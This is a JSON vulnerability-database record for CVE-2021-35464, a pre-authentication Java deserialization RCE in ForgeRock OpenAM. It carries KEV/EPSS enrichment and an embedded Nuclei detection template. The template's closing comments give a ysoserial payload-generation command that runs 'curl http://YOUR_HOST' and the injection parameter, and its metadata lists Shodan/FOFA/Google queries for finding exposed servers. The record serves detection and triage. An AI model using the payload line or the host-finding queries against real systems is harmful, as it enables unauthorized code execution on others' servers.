{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-35464/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-35464/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-35464/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-35464/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-35464/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-35464"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-35464"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99999,
      "kev": true,
      "percentile": 0.99994
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-35464.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2021-35464\n\ninfo:\n  name: ForgeRock OpenAM <7.0 - Remote Code Execution\n  author: madrobot\n  severity: critical\n  description: |\n    ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.\n    The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted\n    /ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)\n    found in versions of Java 8 or earlier.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade ForgeRock OpenAM to version 7.0 or later to mitigate this vulnerability.\n  reference:\n    - https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35464\n    - http://packetstormsecurity.com/files/163486/ForgeRock-OpenAM-Jato-Java-Deserialization.html\n    - http://packetstormsecurity.com/files/163525/ForgeRock-Access-Manager-OpenAM-14.6.3-Remote-Code-Execution.html\n    - https://bugster.forgerock.org\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-35464\n    cwe-id: CWE-502\n    epss-score: 0.99999\n    epss-percentile: 0.99994\n    cpe: cpe:2.3:a:forgerock:am:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: forgerock\n    product: am\n    shodan-query:\n      - http.title:\"OpenAM\"\n      - http.title:\"openam\"\n    fofa-query: title=\"openam\"\n    google-query: intitle:\"openam\"\n  tags: cve,cve2021,packetstorm,openam,rce,java,kev,forgerock,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: header\n        words:\n          - \"Set-Cookie: JSESSIONID=\"\n\n      - type: word\n        part: body\n        words:\n          - \"Version Information -\"\n          - \"openam/ccversion/Masthead.jsp\"\n        condition: or\n\n      - type: status\n        status:\n          - 200\n\n# {{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>\n# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 \"curl http://YOUR_HOST\" | (echo -ne \\\\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='\n# digest: 4a0a00473045022100a55174208bc417209a2bd38b267a54dbb71e4be86f6a70ba48b5d348f5016435022062b4b239a76afcc24867cc9859ec5bd5946e236bc361c3b6bd210f31f4b95d86:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-35464"
}